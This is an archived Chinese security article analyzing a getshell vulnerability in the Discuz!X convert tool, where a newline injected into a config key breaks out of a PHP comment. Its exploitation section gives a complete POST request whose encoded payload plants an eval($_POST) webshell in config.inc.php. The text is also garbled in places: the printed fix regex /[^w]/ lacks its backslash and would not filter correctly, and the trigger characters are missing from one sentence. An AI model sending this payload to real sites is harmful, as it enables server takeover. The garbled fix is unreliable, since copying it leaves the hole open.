# Discuz!X升级/转换程序GETSHELL漏洞分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-02-14T10:47:00Z
Canonical: https://wepostx.com/topics/347

> 乌云历史资料归档
>
> **原始作者：** 360网站安全中心
> **原始编号：** superkieran-wooyundrops:142
> **原始发布时间：** 2014-02-14 18:47
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x01 漏洞分析

漏洞的根源在代码注释中出现换行，导致代码执行，流程如下:

### 0x0101 首先，从 index.php第30行跟入。

![原文图片](/media/2016/06/5062ba03424b42a3d82143b14ccbacfe)

### 0x0102 do_config_inc.php的第37行，跟入这个save_config_file()函数。

![原文图片](/media/2016/06/36ddcddf067e7e8c9189d3ce5deecc4f)

### 0x0103 gobal.func.php第624行，跟入这个getvars()函数。

![原文图片](/media/2016/06/6c5214a638721a839fb715eea0f943cb)

### 0x0104 继续跟入buildarray()这个函数

![原文图片](/media/2016/06/666f2dbddd3ce68df96d43d3c4b25133)

### 0x0105 漏洞出现在598行，这个$newline的问题。

![原文图片](/media/2016/06/85ad2cc7da7b90904ab6d6d255705c29)

这里因为$key可控，所以$newline可控，当$newline出现 或 时，导致BBB可以作为php代码执行。如图所示。

![原文图片](/media/2016/06/06b4ee3de7245ab43c8f017855cdd66d)

## 0x02 漏洞利用

可以构造如下请求：

```text
POST /DZ2/convert/ HTTP/1.1 Host: 192.168.52.129 Proxy-Connection: keep-alive Content-Length: 925 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Origin: null User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 a=config&source=d7.2_x2.0&submit=yes&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&newconfig%5Bsource%5D%5Bdbuser%5D=root&newconfig%5Bsource%5D%5Bdbpw%5D=&newconfig%5Bsource%5D%5Bdbname%5D=discuz&newconfig%5Bsource%5D%5Btablepre%5D=cdb_&newconfig%5Bsource%5D%5Bdbcharset%5D=&newconfig%5Bsource%5D%5Bpconnect%5D=1&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Btarget%5D%5Bdbuser%5D=root&newconfig%5Btarget%5D%5Bdbpw%5D=&newconfig%5Btarget%5D%5Bdbname%5D=discuzx&newconfig%5Btarget%5D%5Btablepre%5D=pre_&newconfig%5Btarget%5D%5Bdbcharset%5D=&newconfig%5Btarget%5D%5Bpconnect%5D=1&submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3
```
发送这段请求直接getshell，恶意代码写入/convert/data/config.inc.php文件当中，如图所示。

![原文图片](/media/2016/06/41aec1507dfd51b6dcebfd47fc5a2f83)

## 0x03 关于修复

需要在global.func.php文件的buildarray函数中过滤掉$key中的非字母、数字及下划线字符，即添加代码如下：

```text
#!php $key = preg_replace("/[^w]/","", $key);
```
如图所示。

![原文图片](/media/2016/06/c21050dad9a3ddfe41e25a9f1152e2e0)

（以上分析仅供学习交流，各DZ！X系列站长勿忘修复！）
以上为360网站安全中心博客文章，原文：[http://loudong.360.cn/blog/view/id/15](http://loudong.360.cn/blog/view/id/15)

## Replies
